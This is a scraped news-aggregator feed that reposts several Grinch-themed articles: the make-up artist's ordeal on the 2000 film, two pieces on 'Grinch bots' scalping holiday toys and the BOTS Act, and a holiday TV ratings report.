The post ‘The Grinch’ Trailer: The Mean Green Menace Returns appeared first on /Film.

]]> https://briefnews.eu/the-grinch-trailer-the-mean-green-menace-returns/feed/ 0 How ‘The Grinch’ Sent a Brilliant Make-Up Artist Into Therapy https://briefnews.eu/how-the-grinch-sent-a-brilliant-make-up-artist-into-therapy/ https://briefnews.eu/how-the-grinch-sent-a-brilliant-make-up-artist-into-therapy/#respond Sat, 10 Feb 2018 00:43:04 +0000 http://briefnews.eu/how-the-grinch-sent-a-brilliant-make-up-artist-into-therapy/ the grinch make up

The make-up job for the live-action 2000 version of How the Grinch Stole Christmas was notoriously arduous. Jim Carrey compared the eight-hour process to “being buried alive,” and the production nearly came to a screeching halt because of how much the actor hated the make-up. But what about the poor make-up artist on the other side of the brush?

That would be Kazuhiro Tsuji, the Academy Award-winning make-up artist behind acclaimed films like Men in Black, Hellboy, and The Curious Case of Benjamin Button. Tusji recently scored his third Oscar nomination for Darkest Hour and is still steadily working in the industry. But that almost didn’t come to be after he worked with Carrey on The Grinch.

Despite his illustrious career in special-effects make-up, Tsuji said working on The Grinch was the worst experience of his life. It got so bad that Tsuji checked into therapy.

In an interview with Vulture, Tsuji recalled the worst job of his career:

“On set, [Carrey] was really mean to everybody and at the beginning of the production they couldn’t finish. After two weeks we only could finish three days’ worth of shooting schedule, because suddenly he would just disappear and when he came back, everything was ripped apart. We couldn’t shoot anything.”

Carrey had to undergo more than eight hours of make-up every day to suit up as the titular Grinch. It was a tortuous process for Carrey, who was transformed head-to-toe in green fur and had to wear enlarged contact lenses that drew the fake snow falling on set. According to Tsuji, Carrey was very demanding in the make-up trailer, exhaustively pointing out non-existent flaws or demanding that Tsuji “fix” the colors.

Tsuji eventually became so worn out that he temporarily left production. Head make-up artist Rick Baker and one of the film’s producers concocted a plan where Tsuji would retreat to show Carrey how valuable he was. A week later, he received a call from Carrey and director Ron Howard swearing that Carrey’s behavior would change. And, miraculously, it did.

This wasn’t simply because of Tsuji, however. Later, The Grinch producer Brian Grazer revealed that he had recruited a former CIA specialist to teach Carrey how to withstand being “tortured by his make-up.” The whole story is recounted in Grazer’s fascinating Daily Beast story. It was at this point in the production, Grazer revealed, that “We flew the CIA specialist in on a Friday, and he spent the whole weekend closeted with Jim. He taught Jim all kinds of techniques for distracting himself, for creating mindsets that allowed him to ignore and work through the discomfort.” Carrey even cheerily recounts learning these techniques during the talk show circuit, saying he repeated “It’s for the kids! It’s for the kids!” throughout the make-up process.

Carrey “kept his temper in check” for the remainder of filming, Tsuji said, but he sees the movie as a “turning point” in his career. Soon after, the artist checked into therapy following production on How on the Grinch Stole Christmas and semi-retired from Hollywood. “If I had a choice, I would not be in this mental state all the time,” Tsuji told Vulture.

So there is your warning against working as Jim Carrey’s make-up artist, kids. At least he didn’t go full method.

The post How ‘The Grinch’ Sent a Brilliant Make-Up Artist Into Therapy appeared first on /Film.

]]> https://briefnews.eu/how-the-grinch-sent-a-brilliant-make-up-artist-into-therapy/feed/ 0 How the ‘Grinch bots’ stole Christmas https://briefnews.eu/how-the-grinch-bots-stole-christmas/ https://briefnews.eu/how-the-grinch-bots-stole-christmas/#respond Fri, 15 Dec 2017 17:51:51 +0000 http://briefnews.eu/how-the-grinch-bots-stole-christmas/

Resellers have existed since way before the internet. But with the surge of online shopping, they have found the perfect weapon to aid their business: bots, automated software that can add products to a virtual cart and purchase them faster than any human. Even if your browser autofills personal information, like your address and credit card, and it only took you one minute to get to the checkout page — that’s too slow. Bots can buy almost anything in a matter of seconds, which is why they’ve become the ideal tool for people who make money by snatching up coveted items and selling them on eBay, Amazon and Craigslist for a profit.

With the holiday-gifting season just around the corner, the effect these bots have on the market is crystal clear. One of the hottest children’s toys of the season, Fingerlings (a strangely cute monkey that you can wrap around your finger), is sold out at all major retailers, including Amazon, Best Buy, Target, Toys R Us and Walmart. And every time they restock, resellers snatch them up within seconds. Fingerlings, which come in a variety of colors, retail for around $ 15, but the cheapest you can find them for at the moment on sites like eBay is about $ 40 — more than double their original price.

DreamToys list 2017

Fingerlings.

You’ll find a similar case with Nintendo’s SNES Classic Edition. Although it’s been months since it launched, the mini retro console is also out of stock everywhere online. And, like with the Fingerlings, every time it restocks on GameStop or another retailer, it’s gone almost instantly. The SNES Classic Edition has an MSRP of $ 80, but on the reseller market it goes for anywhere between $ 115 to $ 200. This is partially why Amazon, Best Buy and others have resorted to selling it at brick-and-mortar stores instead, where drops are random and more easily limited to one per customer.

Stores won’t share data to reveal how many of these go to bots, but a quick look at people’s tweets of disappointment suggests that resellers grabbed whatever stock was loaded. What happens is that a retailer will tweet that the SNES Classic is available again in limited quantities, but by the time most people add the product to the cart and go to check out it’s no longer available. Resellers can successfully beat this system by creating a software script that constantly scans product pages and sees when they come back in stock even before the store can tell the general public.

While bots are at the core of a reseller’s system, there’s also a network of Twitter accounts and stock-monitoring sites that help them get to any product first. Steal Supply, for example, only has about 7,000 followers on Twitter, but the account is one of the most effective when it comes to tweeting about restocks of popular products, such as the SNES Classic. There are many accounts and services similar to Steal Supply, created to help not just resellers but regular shoppers buy sought-after stuff. Nowinstock.net, for example, lets you make an account and get product stock alerts sent directly to your email or phone.

Sometimes all you need is to follow a Twitter account, or a website, and have push notifications turned on. Catching them off guard, and being on high alert, might be the best way to potentially beat the bots. It may not be the ideal shopping experience, but remember all the things Arnold Schwarzenegger’s character went through in Jingle All the Way to get a Turbo-Man toy for his kid? Things could be much worse.

Nike has taken an interesting approach to fight software scripts designed for shopping. The sportswear giant recently started using augmented reality to sell limited-edition, highly coveted sneakers. Through its SNKRS app, users can go to a specific place, look for a physical sticker and use their phone to bring up a 3D model of the shoe. If you find it, you can buy right there and then. This means an actual human is necessary for the entire purchase process, but not everyone is going to have a compatible device. It’s also not exactly different from brick-and-mortar sales, since you have to physically go to a place to buy the shoe.

Nike’s secret weapon against bots: AR.

The real solution could be legislation, the kind that would outlaw the use of bots in online shopping altogether. Last year, former President Barack Obama signed the “Better Online Ticket Sales (BOTS) Act of 2016” into law, which made it illegal for individuals to use bots (or other similar computer software) to buy more tickets than a specified limit to concerts, sports games and other public events.

According to the BOTS Act, it is a violation of the law to “circumvent a security measure, access control system, or other technological control or measure on an internet website or online service that is used by the ticket issuer to enforce posted event ticket purchasing limits or to maintain the integrity of posted online ticket purchasing order rules.” What’s more, it’s now also an offense to knowingly buy a ticket to an event from someone who used a bot.

Democratic New York Senator Chuck Schumer, who helped introduce the original BOTS Act bill in 2016, did not answer our request for comment. But he put out a statement earlier this month urging retailers to find ways to block bots. “Grinch bots cannot be allowed to steal Christmas, or dollars, from the wallets of New Yorkers,” he said. “Middle class folks save up — a little here, a little there — working to afford the hottest gifts of the season for their kids but ever-changing technology and its challenges are making that very difficult. It’s time we help restore an even playing field by blocking the bots”

Senate Democratic Leader Sen. Chuck Schumer (D-NY) Urges GOP To Slow Down Republican Tax Bill In Senate

Senator Chuck Schumer at a press conference.

Schumer added that when it comes to online shopping, “major retailers should put forth policies that will help prevent future Grinch bots from stealing the season’s hottest toys.” In 2016, he said that the anti-scalper legislation was inspired by the inflated ticket prices for the popular musical Hamilton, and he believes the “same cyber scalpers” have now moved on to toys and other products that are high in-demand during the holiday season. At the early stages of the BOTS Act, it was reported that resellers had a feast and bought over 20,000 Hamilton tickets to sell them for as much as four times their face value.

As it stands, Amazon, Best Buy and others don’t seem to have a good answer for bots, other than limiting the amount of items people can buy with one account — and sometimes one credit card or shipping address. The problem with the only-one-item-per-account system is that resellers can easily get around that by having multiple accounts, each with filled with different personal information that won’t trigger any alarms. The other option is to simply sell products at a physical store, where a reseller’s “bots” are just friends and family that wait in line with them.

A source inside Amazon confirmed to Engadget that the company’s main way to stop bots is to limit purchases of high-demand products. Additionally, the source said that if third-party sellers on its site don’t price items competitively, the company can always remove their ability to sell them. Still, for now, it seems like the only way to really stop them is for the US Government to introduce a similar bill to the BOTS Act. Though the law could get complex if it needs to cover anything and everything sold online.

Grinch bots cannot be allowed to steal Christmas, or dollars, from the wallets of New Yorkers. It’s time we help restore an even playing field by blocking the bots.

Senator Chuck Schumer

If this continues to be a problem for retailers and customers start to lose faith in them, they could lobby US representatives and senators to make the case for broader legislation.

Until that happens though, your best bet to get that SNES Classic Edition or Fingerlings in time for the holidays may be to build a bot yourself — and do you really want to do that and potentially make matters worse? For those who aren’t savvy enough but want to know what being a Grinch bot is about, there are services out there that sell you a computer script to help with your chase, however even they don’t guarantee that you’ll get the item you want.

Either of these options sound like a nightmare, because it shouldn’t be this complicated to buy a Christmas present. But that’s what you can do right now, unless of course you don’t mind paying those ridiculously inflated prices.

Engadget RSS Feed

]]> https://briefnews.eu/how-the-grinch-bots-stole-christmas/feed/ 0 Why Grinch Bots Are the Most 2017 Story of 2017 https://briefnews.eu/why-grinch-bots-are-the-most-2017-story-of-2017/ https://briefnews.eu/why-grinch-bots-are-the-most-2017-story-of-2017/#respond Thu, 14 Dec 2017 13:30:23 +0000 http://briefnews.eu/why-grinch-bots-are-the-most-2017-story-of-2017/ Good tech gone bad! Nefarious nerds! Dubious online platforms! Predatory late-capitalism! Imagine if every tech and business motif from the past 12 months gathered to celebrate an end-of-year reunion in a single story.

This is that story. It is the story of the Fingerlings and the Grinch bots.

We begin, as Christmas stories sometimes do, in a toy store. Every holiday season has its must-have gizmo, like Cabbage Patch Kids or Tickle Me Elmo. This year’s sensation is the Fingerling, a plastic five-inch-tall baby monkey. Engineered to cling to an outstretched finger with its plastic hands and feet, the toy giggles, burps, and farts in response to petting and shaking. Imagine a manic pygmy marmoset robot with minor gastrointestinal issues, and you get the picture.

Many years ago, in the days when malls ruled the world, adoring mothers and fathers fearing the wrath of a wanting child would storm into stores and shove each other across aisles to grab a toy like the Fingerling. These days, however, the battle royale over popular toys has shifted online, where the dangers are more exotic than a mother’s flying elbow.

The new holiday showdown pits humans against software. It’s not a fair fight. A fleet of bots—software programs that can automate activities like search, chat, and online ordering—have been dispatched by anonymous online scalpers to buy up the most popular children’s toys on the Internet. IThese bots overwhelm retail sites with bulk orders from multiple IP addresses and autofill payment and address information faster than humanly possible. Hence, the apt nickname: Grinch bots.

Fingerlings are currently sold out at the websites of Toys ‘R’ Us, Walmart, and Target. Where did the toys go? To sites like Amazon and eBay, where the bots’ owners are listing the $ 15 playthings for $ 1,000, or more. (It’s not clear who these people are, but they evidently possess programming chops, yet no soul.) Cyber scalpers have used the same methods to deplete online retailers of other toys, like Barbie Hello Dreamhouse and L.O.L. Surprise! Doll, which they can resell at exorbitant prices. While offline toy scalpers and online ticket scalpers are an old trend, this seems to be the first case of mass-scale online toy scalping.

Retailers have failed to block the bots, and platforms have refused to stop the sellers. For example, eBay has claimed that there’s little it can do to halt the legal exchange of toys. “As an open marketplace, eBay is a global indicator of trends in which supply and demand dictate the pricing of items,” the company said in a statement. “As long as the item is legal to sell and complies with our policies, it can be sold on eBay.” The Grinch bots are not technically stealing or defrauding. They are practicing a form of legally sanctioned ransom.

The yuletide fleecing of middle-class parents has attracted political attention. “Grinch bots cannot be allowed to steal Christmas, or dollars, from the wallets of New Yorkers,” Senator Chuck Schumer of New York said. He has proposed legislation that bans bots on retail sites, expanding a law that already prohibits the use of bulk-buying tickets for concerts or theater. That law’s name is the Better Online Ticket Sales Act—or the BOTS Act.

But even if fines make scalpers fear, the law won’t pass before this year. As Grinch bots reap and hoard playthings, ‘twill be too late for Fingerlings.

* * *

Why is this story so fitting for 2017? The Grinch bot drama mashes together two moral panics about once-celebrated tech stories—platforms and automation—and sprinkles them with dread about predatory capitalism. Beyond the nimbus of presidential scandal and the watershed revelations of sexual harassment, these fears have dominated the tech and business news cycles this year.

1. The Dark Side of Platforms

A platform is a digital interface that offers consumers access to a wide range of products, which the platform itself doesn’t necessarily own. Think Netflix for video, or Google for information. In a widely shared 2015 essay, Tom Goodwin, a writer and marketing strategist, summarized the spectacle of platforms tech this way:

Uber, the world’s largest taxi company, owns no vehicles. Facebook, the world’s most popular media owner, creates no content. Alibaba, the most valuable retailer, has no inventory. And Airbnb, the world’s largest accommodation provider, owns no real estate. Something interesting is happening.

He was right: Something interesting is happening. But while Goodwin’s summary inspired sunny optimism back in 2015, the last 12 months have revealed the dark side of platforms, which often serve as clearinghouses of human indecency. Propaganda has thrived on Twitter, Google search results have elevated false breaking news stories, and Uber devised a controversial program called “greyball” to maneuver cars away from regulators trying to bust illegal ride-hailing. Most dramatically, a former executive at Facebook now claims the company is “ripping apart” society.

These scandals have not always damaged these companies’ utility or profit; while Uber’s valuation has declined, Facebook and Google’s stocks have grown dramatically. But they have pierced the prevailing techno-optimism by calling attention, again and again, to the same question: How can users trust platforms that are often no better than the worst of their users? That query has special resonance for families who are victims of today’s cyber scalpers. These high-tech scoundrels have scammed online retailers and turned the laissez faire rules of eBay’s platform against the interests of its shoppers. Like the Russian propagandists on Facebook and Twitter, the cyber scalpers succeeded, not by flouting their platforms rules, but by mastering them.

2. The Dark Side of Automation

Bots and artificial intelligence have been hailed as the next great technological breakthrough. They populate a vision of a future where corporate bots replace customer-service agents and where personal AI assistants help people shop or manage household tasks, like Her, or, less creepily, Jarvis. In this future, bots serve as automators of tedium and toil, allowing companies and individuals to focus on what really matters to them.

But in the last 12 months, bots have been mastered by trolls and scam artists. They have automated the worst elements of human nature—the instinct to deceive, ridicule, and extort. Immediately after the first presidential debate last year, more than a third of pro-Trump tweets (and about a fifth of pro-Clinton tweets) came from bots. Facebook and Twitter were flooded with bots that, in mimicking the most obnoxious users, merely amplified the sites’ worst tendencies. These “bot-makers see an opportunity to exploit anonymity with a humanlike touch at an inhuman scale,” John Herrman wrote for the New York Times.

It is a perfect description for the Grinch bot programmers, as well. Scalping is an ancient practice. But cyber scalping allows these scammers to operate at an inhumanly vast scale and with inhuman speed, so that they can absorb the entire supply of popular toys at Walmart and Target’s websites.

3. The predation of “late capitalism.”

Merriam-Webster’s word of the year is feminism—a worthy selection. But in economic circles, perhaps no term has been more emblematic of 2017 than the ubiquitous yet amorphous “late capitalism.”

The concept sounds vaguely Marxist. But it wasn’t coined by Karl Marx himself, according to William Clare Roberts, a political scientist at McGill University interviewed by The Atlantic’s Annie Lowrey.  Rather, he said, the term came from Marxist acolytes alluding to the darkness that comes just before the dawn of socialism, the moment when “we see the ligaments of the international system that socialists will be able to seize and use.”

It’s hard to imagine a better advertisement for switching economic systems that anonymous scalpers ripping off well-intentioned parents in the name of free markets. But that’s essentially the attitude of the Grinch bot coders and their ilk. Last year, two brothers bought a stockpile of Hatchimals—the it-toy of 2016—to force families to pay large markups to get the toy. It was like an analog version of the Grinch bot scandal. Interviewed by Time magazine, the brothers were remorseless; in fact, they were proud. “We didn’t break any laws,” one brother, Mike Zappa, said. “And we aren’t dictating how the market is pricing the toys on eBay. What we are doing is capitalism at its best.”

It’s a shameless defense. But it’s not so different from the argument lurking in eBay’s corporate statement, which implies Grinch bots aren’t a scandal, because their behavior is technically legal. Indeed, that makes a fine summary for the worst storylines of the year, from politics to tech to business. Sometimes, the scandal is what’s permissible.

Business | The Atlantic

]]> https://briefnews.eu/why-grinch-bots-are-the-most-2017-story-of-2017/feed/ 0 Friday Ratings: Trolls Trump Grinch, Give NBC a 33-Month Time Slot High https://briefnews.eu/friday-ratings-trolls-trump-grinch-give-nbc-a-33-month-time-slot-high/ https://briefnews.eu/friday-ratings-trolls-trump-grinch-give-nbc-a-33-month-time-slot-high/#respond Sat, 25 Nov 2017 18:18:03 +0000 http://briefnews.eu/friday-ratings-trolls-trump-grinch-give-nbc-a-33-month-time-slot-high/

NBC’s broadcast of something called DreamWorks Trolls Holiday led the holiday Friday pack, scoring a 1.4 demo rating to go with its 5.2 million total viewers.

The Trolls in fact gave NBC its best non-Olympics numbers in the Fridays-at-8:30 time slot since Feb. 20, 2015, while also netting this TV season’s best Kids 2-11 rating among Big 4 primetime programs.

Dr. Seuss’ How the Grinch Stole Christmas, opening the Peacock’s night, placed second with a 1.3 rating (and 5.7 million viewers).

Among other holiday-themed fare, CBS’ Frosty the Snowman did 4 mil/0.8, leading into Frosty Returns‘ 3 mil/0.6; ABC’s Santa Claus Is Comin’ to Town drew 3.4 mil/0.8.

Elsewhere, CBS’ Grammys Greatest Stories did 3.3 mil and a 0.6, while Night 2 of The CW’s iHeart Radio Music Festival coverage (860K/0.2) drew a bigger audience than any Crazy Ex-Girlfriend or Jane the Virgin episode this fall.

Let’s block ads! (Why?)


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TVLine

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